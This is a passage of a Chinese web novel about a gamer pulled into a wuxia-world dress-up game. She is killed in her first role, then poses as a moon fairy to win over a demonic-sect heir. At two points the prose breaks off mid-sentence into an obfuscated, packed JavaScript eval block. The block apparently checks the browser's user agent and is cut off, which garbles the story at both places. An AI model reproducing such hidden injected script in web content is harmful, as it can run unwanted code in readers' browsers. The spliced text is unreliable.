《换装系统让我假扮仙女》 1. 第一章 夏桃是个酷爱休闲换装游戏的资深玩家。 自从沉迷进这种骗钱游戏后,她在游戏里买衣服氪的钱,比现实中给自己买衣服花的钱还要多。 现实里的衣服起码自己能穿,而游戏里氪的衣服除了买的那几天能挂在看版上欣赏一下,其余时间其实并没有什么用处。 就算游戏里的衣服再好看再精致、特效再华丽再绚烂,那也不能穿在自己身上啊! 在狗公司的变态排期和骗氪手段下,她还不得不经常使用蓝绿修改器,搞得钱包扁扁的。 垃圾游戏毁我青春! 痛定思痛,夏桃决定卸载所有换装游戏。 但就在她按下“确认卸载”的时候,她穿越了。 【亲爱的玩家,欢迎来到“换装模拟器”的世界!】 【在这里,您将体验到无数精彩绝伦的游戏副本!我们既有快意恩仇的江湖副本,又有诡谲艳情的妖鬼风副本,在这些世界您可以尽情发挥换装系统的威力,获得最美好的游戏体验!】 【只要完成任务攒够积分,您就可以离开游戏回到现实世界啦!好了,废话不多说,现在就装备上您的服饰,立刻开启这趟奇异之旅吧!】 系统的拟态壳子是一只十分可爱的白毛布偶猫,话音一落,没等夏桃反应过来,看起来软萌无比的小布偶猫直接飞起一脚把她踹进了第一个世界。 一阵头晕目眩,夏桃回过神来,发现自己正身处一间古色古香的屋子内,空气中浮动着药材独有的香气和苦味,木质牌匾上写着“益元堂”三字。 她所处之地,似乎是一间药铺。 还没等她仔细探寻一番,有关一号副本的剧情已经被系统一股脑地灌入了她的脑海中。 这个世界是个带有些微玄幻色彩的武侠世界。 夏桃出身十分平凡普通。 她母亲早亡,父亲是个郎中,经营着一家药铺,医术虽算不上多么高明,但凭借着祖传的医书,靠卖药和给人治病倒也顺利把夏桃拉扯大了。 和父亲不同,夏桃对医术很感兴趣,幼时就常帮父亲抓药煎药、祖传的那几本医书被她翻来覆去读了好多遍,几乎到了倒背如流的地步。 她人又聪明机灵,闲来无事,便去山里摘择草药,回来后对着医书上的图示药方反复对比琢磨、推敲研究。 日日勤学苦练,年复一年,待她长到二八年华,医术比起父亲竟还要略胜一筹了。 后来父亲因病去世,只剩夏桃一人经营药铺,日子过得虽算不得大富大贵,但也安宁平静。 如果就这样下去,也许她将来也有机会成为悬壶济世的一代名医。 但,变故很快发生了。 那是一个雨夜,暴雨滂沱、风声大作。 夏桃早早便在医馆后院歇下了,可窗外的暴雨声却搅得她难以入眠,她翻来覆去了好一会儿都睡不着,干脆起床继续攥写医书。 就在这时,她突然听见医馆外传来了敲门声,还随着焦急的喊声,似乎情形危急。 这是有病人上门求医了。 作为千山镇寥寥可数的几名医师之一,夏桃对病人上门求诊这种事并不陌生。 她撑着伞开了门,出乎意料的是,雨里站着的并不是小镇上的百姓,而是两个衣着不凡的少男少女。 那位少女脸色苍白,被那个男子抱在怀里,已经不省人事,两人全身都是雨水,虽然身着华服,却满身狼狈。 男子一见她打开了门,就抱着少女径直往里冲,言辞间焦躁不已:“大夫,求您救救香兰,我带着她走了好久才见到您这一间医馆,若是您也不肯帮忙,我真是不知道该怎样才好了!” 和那男子交谈了一番后,夏桃才知道了事情的原委。 原来这男子名叫詹绍元,是飞鹤山庄的三少爷,他怀中的女子名叫杜香兰,是红枫堡的二小姐。 飞鹤山庄和红枫堡都是江湖中的名门正派,但两家祖上素有私怨,是以多年来两方关系不能说是相亲相爱,也能说是势同水火。 今岁重阳节,詹绍元和师兄师弟们按习俗前去登高辞青,恰巧在山上遇见了同来登高的杜香兰,二人一见钟情,立时便要定下终身。 可两家私怨颇深,更何况詹绍元早在此前便已有了婚约,对方正是和他青梅竹马一同长大的表妹,家中长辈说什么都不同意他退掉婚约另娶杜香兰。 眼见和心上人成亲无望,激愤之下,詹绍元和杜香兰二人干脆一不做二不休,直接上演了一出为爱私奔的好戏。 两家长辈因此大怒,立刻派族中子弟前去抓回两人。 詹绍元和杜香兰从红枫堡一路辗转至千山镇,期间仓促狼狈不需多提,更要命的是,在奔袭至千山镇附近时,为了躲避追捕的人,二人选择从山路经行,也就是在山上,杜香兰不知是被什么毒虫叮咬了还是被什么毒草划伤了,下山之后就呈现出中毒症状,人也昏迷不醒。 詹绍元又急又心痛,可千山镇地处偏僻,附近并没有什么有名的医馆在此,而杜香兰又身中剧毒,根本拖不得。 时间紧急,他只好找了“益元堂”这间在千山镇颇有名气的医馆,盼望这名医师能有方法救杜香兰。 听了他们的故事,夏桃倒没什么感触,只是她探手摸了摸杜香兰的脉,心里就立刻觉得有些不好。 杜香兰面色惨白、唇色发紫、脉息微弱、浮而无力,那毒显然已经深入肺腑。 她又问杜香兰中的毒到底是什么,可这两人只顾着逃亡,面对她的问题詹绍元自然是一脸茫然,连杜香兰到底是被毒虫蛰伤还是被毒草割伤都不知道。 这便让夏桃犯了难。 除非是极奇极诡的毒,其余大多数毒物呈现的症状都差不太多,可症状相似,不代表医治方法相同,甚至很可能不仅不相同,反而是南辕北辙。 不知道毒物源头是什么,自然也就不好随意用药,若是用错了药物,反倒加重了病人症状,那可如何是好? 思及此处,她摇了摇头:“抱歉,是我医术不精,救不了她,你们还是另找名医吧。” 詹绍元闻言恳切道:“我们初到千山镇便听说了姑娘神医的名号,说是千山镇这一块再没有比姑娘更厉害的医师。如今香兰危在旦夕,求姑娘救她一命,日后在下必有重谢!” “唉,不是我不想救她。”夏桃叹了口气,“只是你连她是怎么中的毒都说不清楚,我又怎么施针用药呢?若是用错了药,反倒是害了她性命,你们还是速速离去,找别的医师相救吧。” 詹绍元道:“可千山镇这一块,除了姑娘,哪还有信得过的医师呢?倘若特意去名馆寻医,香兰中毒之深,又哪里撑得到那个时候!姑娘若是不肯帮忙,香兰便只有死路一条,她要是死了,我也不愿独活……医者仁心,姑娘难道忍心看着两条人命毙于此处吗?” 他话都说到这份上了,夏桃实在为难,再一看少女惨白如纸的脸,登时便生了恻隐之心,同意了收治杜香兰。 “但我话先说在前面。”夏桃道,“她中毒已深,你们又说不清中的是什么毒,想医治好她,我也只能摸着石头过河,姑且试试,并不能保证一定会成功。” “我信姑娘医术,姑娘旦试无妨。”詹绍元感激道,“我替香兰谢过姑娘救命之恩了!” 夏桃欲言又止,最终还是摇了摇头,不再多话。 她让詹绍元把杜香兰放在病床上,先是在关键穴位施针,延缓毒素扩散,又根据她表现出来的症状,辅以多年经验,多次少量地尝试用药。 这样殚精竭虑地精心照料,几日过去,原本奄奄一息的杜香兰醒着的时间越来越多,偶尔也能说上几句话了,精神头似乎一日好过一日,只是体内的毒素仍旧没有排出来。 既然她状态越来越好,那就表明自己此前用的药没有问题,体内毒素排出太慢,多半是用药剂量不足的缘故。 继续这样拖下去也不是办法,夏桃思虑再三,决定稍微增加一点剂量,把药物用量恢复到正常水平,看毒能不能排出来。 又到了吃药时间,夏桃这次把药的用量增加到了正常水平,可不知怎么的,这一碗汤药下去,原本已经逐日渐好的杜香兰,突然开始无法控制地吐起血来! 詹绍元顿时慌了,一边抱着杜香兰,一边开始点她穴位试图止血,但根本没用,血还是越吐越多,几乎无法停下来,杜香兰面色惨白如金纸、气若游丝,不过短短一瞬,人就快要不行了! “香兰!香兰!”詹绍元一叠声地叫杜香兰的名字,可她却根本没有反应,他顿时又痛又怒,转头质问夏桃,“香兰之前不是还好好的吗?!你给她喂的什么药?!她怎么会吐血?!” 夏桃也有些慌乱,但还是镇定下来解释道:“就是之前的药,只是稍微加大了一点剂量。我想着她体内的毒素一直没有排出来,再继续这样下去不是办法,之前药材用量又太少了,所以我——” “所以你就拿香兰试药?!”詹绍元打断她的话,怒道,“你就没想过香兰身体虚弱,经受不起大剂量的药物么?!” 夏桃气急:“哪里大剂量了?是之前用的剂量太少了,所以她体内的毒才迟迟排不出来!毒素一直藏在体内,就算一时保住了性命,也阻止不了它的蔓延,再这样下去,杜香兰还是会死……” 她一番话说的有理有据,但詹绍元哪里还听得进她的话,眼看心上人就要活不成了,他悲愤郁怒之下,竟把自己此前求医时说过的话都忘在了九霄云外,直接反手一掌拍在了夏桃身上! “庸医!你竟然还敢狡辩!你害了香兰性命,她死了你也别想活,叫你给香兰陪葬!” 詹绍元身为飞鹤山庄的三少爷,自幼习武,这一掌丝毫没有留力,而夏桃又是个对武功一窍不通的人,根本躲不开,竟让他直接拍在了胸腔处。 她心脉即刻断裂,呕出一口血来,当场便没了呼吸。 詹绍元却已没有心思再管她,他抱着奄奄一息的杜香兰,失魂落魄地走在去往红枫堡的路上,想着既然厮守一生没了指望,那还是让香兰落叶归根吧。 可是这份失魂落魄没能持续太久,甚至他都还没能走出千山镇,原本眼看就要活不成的杜香兰竟然慢慢好了起来,不仅恢复了精力,就连体内的毒素似乎都消失不见了。 詹绍元这才反应过来,此前杜香兰口吐鲜血不停,大概率是在排毒,如今毒血既已排出,她自然也就好了。 原来是他误会夏姑娘了,她给杜香兰的那碗药,的确是救命的良药,可他不仅没有心生感激,反而还在惊怒之下动手害死了自己的恩人! 察觉到这一点后,詹绍元又悔又愧,当即就拔出匕首,想要切指谢罪。 见他这样,杜香兰惊地扑过了过去,握住他的手不让他伤害自己:“绍元哥哥,你这是做什么?!” “夏姑娘救了你的性命,我却一时冲动害死了她!是我对不住她,这根手指就当是我陪她的!” “万万不可!”杜香兰哭泣道,“绍元哥哥,你是用剑的好手,少了一根手指,剑就拿不稳了,十年苦练,你难道甘心一朝全废吗?” “再说了,夏姑娘医者仁心,悬壶救世是为救人而不是害人,你伤她之事事出有因,本也不是故意的,人死不能复生,就算你杀了自己,她也活不过来了,有什么必要再陪上你一根手指呢?你是想让夏姑娘的芳魂在九泉之下也不得安息吗?” “我们敛了夏姑娘的遗骨好生安葬,再在祠堂立上牌位,日日供奉也就是了,夏姑娘慈悲心善,只要诚心悔过,她必不会怨你的!” 詹绍元思虑片刻,最终还是放弃了切指谢罪的念头,转而把刀收了回去,点了点头:“香兰你说得有道理,夏姑娘如此心善一人,切手指这样的赔罪方式她必然不喜,我再想想别的法子。当务之急,还是先把夏姑娘好生安葬了要紧。” 他们回到医馆,处理了现场,就地把夏桃埋在了医馆后的竹林中,找了块木板做碑,正准备离开时,杜香兰突然在医馆的木桌前停了下来。 “香兰,你在看什么?” “……医书。”杜香兰拿起医书,目不转睛地看了一会儿,转头对詹绍元说,“绍元哥哥,这本医书好像是夏姑娘写的,上面油墨还没干呢,就这样放在这里好像不太好……怎么处理呢?” “既是夏姑娘的遗物,那就把它放在夏姑娘的棺椁里吧,也算是陪葬了。” 杜香兰却没有同意他的这个处理,她似乎是思考了一下,轻声道:“夏姑娘医术超群,就连我这样的将死之人也能救得回来,她所写的医书自然也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【武功最高的那几人是你的必选攻略对象,只有攻略完他们,你才能进入下一个世界。】 夏桃的第一个攻略对象是魔教教主萧随星。 能当上魔教教主的都不是什么普通人,萧随星当然也一样,此人武学天赋极高,堪称天纵奇才,年纪轻轻功夫就到了独步天下的境界。 后来在他的带领下,魔教纵横捭阖,睥睨天下,势力肆虐席卷了整个武林,江湖上一片腥风血雨。 飞鹤山庄和红枫堡这样的势力,对普通百姓来说已是庞然大物,可对魔教而言,也不过是抬抬手指就能轻易碾碎的蝼蚁。 名门正派们被逼得不得不结盟以对抗魔教,在这期间,江湖中也涌现了不少惊才绝艳的人物。 魔教和正派共同谱写了一本江湖群侠传。 简而言之,这个副本可以算作是个武林群像小说。 好消息是,系统投放的时间在故事开始前五年,彼时的萧随星还是魔教少主,还没有成为心狠手辣的魔教教主,攻略难度可能会稍低一些。 坏消息是,像他这样的天之骄子,大多心气极高、自负倨傲,很难再对旁人心生爱慕。 武侠世界的女角色,如果想在江湖搅弄一番风云,要么武功极高,要么是绝色美人,要么有个显赫高贵的身份。 甚至很多时候高贵显赫的身份比前两者还要更重要,毕竟这世界上的势利眼太多,多的是看人下菜碟的玩意儿。 而系统给她的这具壳子,不仅身世平凡、不懂武功,甚至就连长相也只能说得上是清秀可爱,不要说成为重要角色了,完全就是炮灰路人甲。 以她现在的条件,想让攻略人物们倾心于她,根本是异想天开。 “要怎么办才好呢……” 夏桃苦恼地叹了口气。 她打开系统商城翻找,想看看有没有什么用得上的道具。 找着找着,她的目光突然一顿,凝在了一套名为【广寒月桂】的套装上。 【广寒月桂·五星(套装)】 【上古既无,世所未见,瑰姿玮态,不可胜赞。髣髴兮若轻云之蔽月,飘飖兮若回风之流雪。】*注1 这件套装似乎是以“嫦娥奔月”为灵感制作的,不知道材质是什么,但整体看起来就像是云雾一样轻盈柔软,衣袂纯白,仙气飘飘,只在裙角处点缀了几缕不易察觉的淡蓝,仿佛月影清浅处晕染开的一抹夜色。 把背景切换成黑夜时,衣服上还会流动起丝丝缕缕月光般清冷耀眼的辉光,想必是加了不少特效,凑近甚至能隐隐嗅到月桂的冷香。 这件套装不仅仙气袭人,还自带【美若天仙】光环,穿上它,简直是cos嫦娥仙子的不二之选。 夏桃心里微微一动。 她想,系统没有给她高贵显赫的身份无所谓,她为什么不能自己伪造一个呢? 夏桃顿时有了个主意。 她决定假扮月宫仙子。 她买下了这件套装,往身上一套,打开系统提供的镜子想看看自己的形象,只是刚一抬眼,她就惊呆了。 镜子中的少女乌发如瀑,眉目如画,肤若凝脂,娇艳绝伦,清泠泠的眸子仿佛藏着一池春水。 她穿着一袭云雾般缥缈的白色长裙,腰如弱柳迎风,面似娇花拂水,长裙上散发着盈盈月光,她整个人仿佛一轮孤高皎洁的明月。 有了“美若天仙”这个光环的加持,夏桃瞬间从清秀佳人变成了绝色美人! 爽歪歪! 夏桃高高兴兴地欣赏起自己的美貌来。 但是,身为月宫仙娥,总不能连只标配的小白兔都没有吧? 可是这个套装并不附赠“兔子”这个部件,如果要额外买,对夏桃这个穷鬼来说又太贵了。 她眼珠子一转,恰好瞥见正在一旁欣赏美人的小布偶猫,一把把它薅了过来,笑容温柔:“系统,你的拟态壳子既然可以变成猫,那应该也可以变成兔子吧?” 小布偶猫害怕地用短短的爪爪抱住自己,惊恐地望着她:【你你你——你想干嘛?】 “我要抱着小白兔去装仙女啦!” 2. 第二章 逐光山,地处益州境内,是远近闻名的“仙山”。 据传千年前,曾有无数修道之人在此地飞升,羽化成仙。 传说的真实性,现在已经无从得知,但逐光山能成为无数人寻仙问道之所,成为历代帝王封禅的必选之地,自有其独到之处。 逐光山的独到之处,不在它的奇珍异兽、奇花异草,而在于一块奇特的石碑。 这块石碑被誉为“天下第一碑”。 之所以说它是“天下第一碑”,不是因为它的材质有多珍贵,也不是因为它的造型有多奇特,而是因为它有一个让天下人为之震动的能力—— 用“天下第一”的称号来罗列天下英豪。 每逢四季交替之时,这块平平无奇的石碑上,便会浮现出一个个名字,每个名字的出现,都代表着一个领域的“天下第一”。 比如“天下第一剑”、“天下第一刀”、“天下第一戟”等等等等…… “天下第一碑”所出排名绝无遗漏出错,更无修改或损毁的可能,堪称最具权威性和影响力的榜单。 但凡上了“天下第一碑”的名字,不出一天,即可传遍四海;不出一月,即可名震天下。 因此,每逢四季交替之时,益州的茶楼酒馆就会变得热闹起来,江湖之中各路牛鬼蛇神齐聚此地——无论是有心争夺“天下第一”的,还是实力不济只打算碰碰运气的;无论是想求人帮忙的,还是想招揽门客的;都会来益州凑个热闹,所有人都想要在最快的时间得知最新的“天下第一”都有哪些人。 “天下第一碑”有博古通今之能,无所不知、无所不晓,但这石碑之上,只有一个“天下第一”的后面未曾出现过任何人的名字。 那便是“天下第一美人”。 其中缘由也是很好理解的,诸如“天下第一剑”这类的称号很好排,因为比武之事总有高低之分,完全战成平手的可能性微乎其微,就像试卷中的客观题一样有个标准答案。 但是对美人的评判则不同,天下美人何其多,环肥燕瘦、各有千秋。 每个人对于“美”的感受不同,有人喜欢艳丽妖娆的,有人偏爱清丽雅致的;有人认为五官标致与否比什么都重要,有人则认为美人的气质身段远大于长相……就像试卷中的主观题一样,实在很难统一答案,决出个人人信服的“天下第一美人”来。 渐渐的,大家也就慢慢习惯这个这个称号被空置了。 但这次,事情好像发生了变化。 众人聚集在逐光山主峰之巅,望着“天下第一碑”上的名次逐一更新,就在众人以为“天下第一美人”的后面会是和往常别无二致的空白之时,那里竟然浮现出了一个确切的答案—— 「天下第一美人:广寒宫,夏桃。」 在场所有人都不约而同地静了下来。 莫名的惊异回荡在众人心中。 要知道,自“天下第一碑”现世以来,从未评出过“天下第一美人”,往前数十年、乃至数百年,江湖之中也不乏名动天下、搅起过腥风血雨的绝代佳人,可即便美到这种程度,也没有一个人得到过这个名号。 慢慢的,所有人都形成了一个共识,江湖之中美人很多,可天下第一美人是不存在的。 然而今日,竟真的出现了这样一个人,打破了既往定论。 这个突然出现的女子是何方神圣?为何此前从未听说过? 还有她名字的前缀,广寒宫……这又是哪个势力或宗门?江湖中有叫“广寒宫”的门派吗? 众人面面相觑,有人道:“美到这种程度,早该传出名声了,可在下行走江湖数年,从未听说过这位新晋的‘天下第一美人’……这‘天下第一碑’是出错了吧?” “不可能。”另一人断然否认,“‘天下第一碑’从不出错。” 有人不以为然:“也许是哪个犄角旮旯的小宗派里走出来的弟子呢,没听说过也不足为奇。” 有人笑道:“广寒宫……这不是月宫的别称么?神话传说中嫦娥仙子奔月后所住的宫殿,就是广寒宫。可没听说过江湖中有哪个势力以‘广寒’为名啊?” “莫非这位天下第一美人……当真是从月宫下凡的仙女?” 这不过是一句玩笑话,没什么人当真,听过之后不过一笑了之,可混迹江湖,有人一心向武追求武道至尊的地位,自然也有人沉溺享受,喜爱烈酒宝马、香车美人。 “天下第一美人”的名号何其诱人,即使表面不动声色,也不妨碍无数人在听说这个消息后心痒难耐,立刻就打起了这位“天下第一美人”的主意,挖空心思想赶在所有人之前找到她。 至于怎么把这位神秘的美人据为己有、金屋藏娇……那就是见到她之后的事了。 * 泉州,千山镇。 逐光山所在的益州和泉州相隔甚远,千山镇更是泉州里的一个小地方,信息流通不够及时,所以哪怕外面关于“天下第一美人”的消息已经传得沸沸扬扬了,千山镇这里还是没有掀起多大的波澜。 酒馆茶楼里谈论的,是最近发生在泉州的一桩惨案。 泉州的自然风光以山水闻名,其中又以千山为最,“千山”不是一座山,而是一群绵延不断、巍峨雄奇的山脉,无数山峰林立其中,所以得名“千山”。 千山派,就是以“千山”为根基建立起的大门派,在江湖中素有威名。 千山派的五大长老被称作“千山五绝”,都是武功高强威震天下的大人物,因为成名过早,已许久不曾涉足江湖纷争。 然而不久前,千山派五大长老突然收到了一封死亡函柬。 函柬主人写明了他准备在什么时间、什么地点来取他们性命,用词简单明了,语气既不谦卑委婉也不嚣张狂妄,平淡得仿佛只是在陈述一个既定的事实。 落款:萧随星。 一个听都没听说过的人物。 “千山五绝”成名多年,千山派更是名门大派,他们早已不把这种寻常的挑衅放在心上,一个听都没听说的人也敢给他们发死亡预告,若是因此就如临大敌乱了阵脚,说出去也不怕被人笑话。 就算那人真的敢来,他们也有把握让他有来无回。 因此,五大长老还是照旧该做什么就做什么,甚至还在当天设宴招待好友,而他们的好友,正是被誉为“天下第一刀”的刀圣樊经武。 酒宴上灯影摇曳,众人推杯换盏,谈笑声不绝于耳,好一派其乐融融的景象,千山五绝几乎已经忘了死亡函柬的事。 可是寄出函柬的人显然没忘。 萧随星如约而至。 当晚,发生在千山派的惨案就传遍了泉州—— “千山五绝”被萧随星所杀,死状凄惨,被誉为“天下第一刀”的刀圣樊经武想要为好友报仇,却完全不敌此人,甚至还被他直接夺过利刃,一刀搅碎了心脏! 此事传出,千山派上下震动,举世皆惊。 “千山五绝”和刀圣在江湖中名声之大、武功之高,哪里是寻常人能随便相提并论的。 这个“萧随星”不知道是从哪里冒出来的,此前从未听说过,可年纪轻轻武功却高绝至此,这样的人物,让人如何不胆寒。 更何况,他姓“萧”。 这个姓氏,年轻人也许不太熟悉,但混迹江湖多年的人却不可能不了解。 十多年前纵横江湖的魔教教主也姓“萧”,名叫萧鸿。 据传萧鸿也是年少成名、惊才绝艳,曾是叱咤风云的一代枭雄,只是后来不知为何,突然隐退,原本令无数人闻风丧胆的魔教也就此偃旗息鼓。 “萧”这个姓氏并不常见,萧随星也姓“萧”,还在这样的年纪就有这样一身武功,年纪对得上、武功对得上、姓氏对得上,猜也能猜到他和萧鸿是什么关系。 萧随星的大名就此传遍江湖。 可他为何要杀“千山五绝”,至今依旧是个谜。 “还能是因为什么?魔教中人性情暴虐、喜怒无常,再如何丧尽天良的事他们也做得出来!这萧随星无非是仗着自己有一身好功夫就肆意妄为、猖獗至此!五位长老和刀圣是何等的英雄豪杰,竟惨死于这种卑鄙小人之手,若是被我遇见了,定要给他点颜色瞧瞧!” 千山镇的酒肆里热闹非凡,谈论此事的人不在少数。 虽然他们的功夫连刀圣的一根手指都比不上,但不妨碍他们比刀圣更自信,烈酒壮胆,仗着当事人不在场,哪怕只会点花拳绣腿的人,也敢扬言要“给萧随星点颜色瞧瞧”。 听了这话,一旁的酒桌上,突然传来一声笑。 这声笑短促又活泼,是个少女的声音,音色更是动人得不得了,有如雾冷笙箫,风轻环佩。 大放厥词之人是一名镖师,长年走南闯北,又有功夫在身,在千山镇这一块颇有些名气,人人都要敬让他三分。 突然被人嘲笑,他本是要发怒的,可听了这声动人至极的笑,心里的怒气却不知怎的消散得一干二净,甚至还生出了些许酥麻之感。 他循声望去,发现笑声的主人是位姑娘,她身着一袭白裙,戴着能遮住头脸的白色帷幔,看不清她的面容。 她只是放松而平常地坐在桌子旁,可身段看起来却极其纤弱窈窕、风流袅娜,仿佛名家笔下被精心勾勒出的线条,让人迫不及待地想掀开她的帷幔,一睹芳容。 酒肆中人来人往,俊男美女不在少数,可吸引了所有人目光的,却偏偏是这个连容貌都未曾显露的神秘少女。 这少女衣着不凡,出手便是一枚金锭子,显然身家不菲,可她却只点了几碟四季果子和一碗杏仁茶,小口小口地啜饮着,其余的但凡沾点荤腥的菜更是看都没看一眼。 一看她这副做派,原本已经蠢蠢欲动的人群顿时有点摸不清这个少女的背景来历,一时不敢轻举妄动,只能眼睁睁地看着她喝完了杏仁茶,像朵白云似的飘出了酒肆。 有人再也克制不住好色的本能,立时追了出去,可一出酒肆便傻了眼——明明那位少女刚才离开不久,不该走得太远,可放眼望去,整条街上哪里还有她的身影呢? 这位神秘无比的白衣少女,自然就是前不久才到千山镇落脚的夏桃了。 为了给自己的仙女身份做好铺垫,她整日一袭白裙,戴着帷幔出入“益元堂”,和此前夏桃的形象大相径庭,让旁人在潜移默化中达成“益元堂已经换了新医师”的印象。 至于旧医师的去向和新医师的来历,旁人是不会过多追究的。 只不过,她还是小瞧了“美若天仙”光环的威力,哪怕整日戴着帷幔不露面容,仅凭声音和身段,对她大献殷勤的男人就不在少数。 对于这些人,夏桃一概视若无睹,只是照常出诊、照常抓药,似乎一心想当好一代名医,再加上她医术高明,是以虽然她才“刚来不久”,但在千山镇已经隐隐有了些声望。 没人知道,她窝在千山镇这个小地方,可不是为了悬壶济世普度众生的。 她在等一个人。 一个前不久才在江湖中掀起过腥风血雨的人。 也是她的攻略对象之一。 按照剧情发展,今晚他就该到千山镇了。 想到这里,夏桃微微一笑,她回到医馆,把身上的普通白裙脱了下来,重新装备上【广寒月桂】这件仙气飘飘的绝美套装,对着镜子里的自己欣赏了一会儿,她突然又发现了一个盲点—— 现在外面天已经黑了,她设想好的见面地又是山野间,到时候光线那么暗,要是攻略人物看不清她的长相,没达到一眼惊艳的效果那不就白忙活了吗? 第一印象可绝对马虎不得啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬起头,因为天色昏暗,只能隐约看见有什么东西正贴着枯枝野草极速朝她游动而去,三角形的头部、浅褐色的花纹,还在吐着信子。 是蛇。 并且是剧毒的“五步蛇”。 看见毒蛇逼近,少年脸上毫无波澜,他随手摘下一片树叶——没人看清他是怎么出手的,下一秒,原本柔软的树叶就像一片薄薄的小刀,快准狠地钉入了蛇的七寸之中,直接把蛇切成了两段。 他望着已然死去的毒蛇,觉得有点奇怪,五步蛇大多分布在南方地带,泉州的环境并不适宜这种蛇生活,为什么它会出现在这里? 就在他思索的时候,一道声音突然出现,打破了寂静的氛围。 “这蛇……是你杀的?好厉害!你也是新来的吗?我之前好像没见过你。” 黑衣少年微微一怔。 倒不是因为别的,主要是这道声音实在悦耳至极,又清又甜,闻之如昆山玉碎,语气里更是带着点不谙世事的天真,令人控制不住地心生好感。 他抬起头,出现在他面前的是一位看起来十六、七岁左右的少女。 她提着一盏粉白花灯,身着一袭白色长裙,云鬟雾鬓、肤如凝脂,眉似远山芙蓉、眸若秋水横波,莹莹月色映在她那张桃花玉面上,更衬得她容色清艳绝伦,有如雪裹琼苞、海棠醉日,令人见之忘俗。 她美得简直就像是在发光。 ……不对,她是真的在发光。 山中风大,白衣少女的裙袂被夜风吹得猎猎翻飞,轻轻一动,裙摆便如云流雾散、美不胜收,显得她身段袅娜、仙气飘飘,好像下一瞬便会乘风归去。 而她的白裙上,竟然流淌着丝丝缕缕的月色,整件裙子似乎都是由月光编织而成的! 这不是人间能做出来的裙子。 这也不是人间能有的美人。 这个少女……显然不是凡人。 如果不是亲眼所见,萧随星也绝不会相信,这个世上竟真的有仙女。 在他凝视着眼前少女的同时,夏桃也在不着痕迹地打量着他。 出现在她面前的黑衣少年,自然就是魔教少主萧随星了。 和日后传闻中暴戾残酷的魔教教主不同,眼前人竟是个十分俊美的少年。 他大概十七、八岁的年纪,乌发如墨、面色苍白,眉眼生得秾丽至极,是一种极具攻击性的美貌。 可他笑起来时,那双灿若星辰的眸子看起来却清澈又多情,令人不由自主地想要放下戒备、亲近一二。 令人丝毫看不出眼前的人,日后会在江湖上引发怎样的腥风血雨。 大概是毒性发作引发剧痛的缘故,黑衣少年脸色很有几分白,他有气无力地靠在树上,弯了弯眼眸笑了一下,自语道:“我这是已经死了么?怎么好像看到仙女了?” 不等夏桃接话,他就像已经接受仙女下凡的事实了,继续道:“仙子姐姐,你先别勾我的魂,我还有件事要办,等办完了你再来找我行吗?你长得这么好看,就算是去十八层地狱我也一定乖乖和你走,决计不反抗。” 白衣少女被他这话逗笑了:“什么勾魂不勾魂的?我又不是黑白无常……再说了,你这不是还没死吗?” 她这一笑,更是娇容如花、玉脸生霞,美艳不可方物,就连周遭的虫鸣声似乎都因此安静了几分。 萧随星也不说话了,只是笑眯眯地望着她,那双笑弯了的漂亮眼眸里仿佛盛满了星光,熠熠生辉。 然而下一秒,他突然转过头,无法自控地咳出一口血来。 “喂!你没事吧?” 白衣少女被这突如其来的变故吓到了,她放下手里提的花灯,踯躅着走上前去,正犹豫着,萧随星整个人突然直接倒了下去,他闭着眼,面色苍白,显然已经没了意识。 3. 第三章 夏桃将昏迷的萧随星捡回了医馆。 她此前留在千山镇这个小地方,第一是为了报仇,她要等詹绍元和杜香兰这对狗男女上门,了结剧情上的恩怨;第二嘛,自然就是为了等萧随星这个魔教少主了。 萧随星生得一张讨人喜欢的好脸,人也总是笑吟吟的,似乎很好相处的样子,但此人心狠手辣、睚眦必报,武功又高,除了体内时不时发作的毒外全无弱点。 如果以寻常女子的身份接近,就算生得美艳动人他也一定会起疑心,怀疑她是江湖之中哪方势力派来的人,想要自证清白,恐怕得脱一层皮才行。 夏桃虽然接下了攻略任务,但这并不代表她愿意被人虐来虐去,这人长得再帅也不行。 所以她干脆另辟蹊径,穿上带特效的【广寒月桂】套装去见他,把自己的不凡直接摆在他面前。 获取信任的最佳方法是什么? 当然不是费尽心力证明自己不是A阵营(江湖其他门派)的人,而是要直接让他以为自己就是B阵营(月宫)的人啦! 通过系统的定位,她能轻而易举地获得他的行踪,在千山镇截下他自然也不是什么难事。 回想了一下刚才的初见,确认自己表现绝佳,绝对给他留下了堪称完美的初印象,夏桃这才满意地在心里点了点头,转而将注意力投向了正在昏迷的萧随星身上。 他身中数种奇毒,这些毒似乎是在幼年之时就被人中下的,毒性早已深入腑脏,按理说他早就该毒发身亡,绝对活不到如今的年纪。 可大概是下的毒实在太多,毒性相克,彼此间竟然达成了诡异的平衡,虽然每隔一段时间毒性就会发作,但他竟然真的好好地活到了现在。 【要不要帮他解毒呀?】拟态壳子变成小白兔的系统开始热情地向她推销商品,【系统商城里有包治百病的神药,只要花一百积分就可以买到哦!】 按说这是个很划算的买卖,毕竟买了药治好了攻略人物说不定还能加好感,但是夏桃居然拒绝了:“一百积分也太贵了吧?买套装我已经倾家荡产了,现在还要我倒贴花钱给他治病?想得美!你们有没有做活动免费的那种试用药?短时间能起效就行的那种。” 【……抠死你算了。】小白兔无语,但还是听话地从商城里翻出了她想要的试用药,【喏,就是这个了,活动期间免费,抠门星人的专属神药,不过只能抑制毒素,不能清除。】 “谢谢,有这个就够啦!” 夏桃喜滋滋地收下了药。 * 从昏迷中醒来,萧随星首先闻到的是一阵药香。 他睁开眼,发现自己正躺在一张竹榻上,头顶的木质牌匾上写着“益元堂”三个字,不远处摆放着一行雕花屏风,屏风内是给病人休息的床,里面空无一人。 他所在的地方,似乎是一间医馆。 “你醒啦?” 一道少女的声音突然在他耳畔响起,带着些许活泼的笑意。 “你先前突然在山上晕倒,一点征兆都没有,真是吓到我了!我担心你一个人留在那里会被野兽吃掉,就把你带回了医馆……你就先在这里修养一段时间吧。” 说话的人,正是他昨晚才见过的绝色少女。 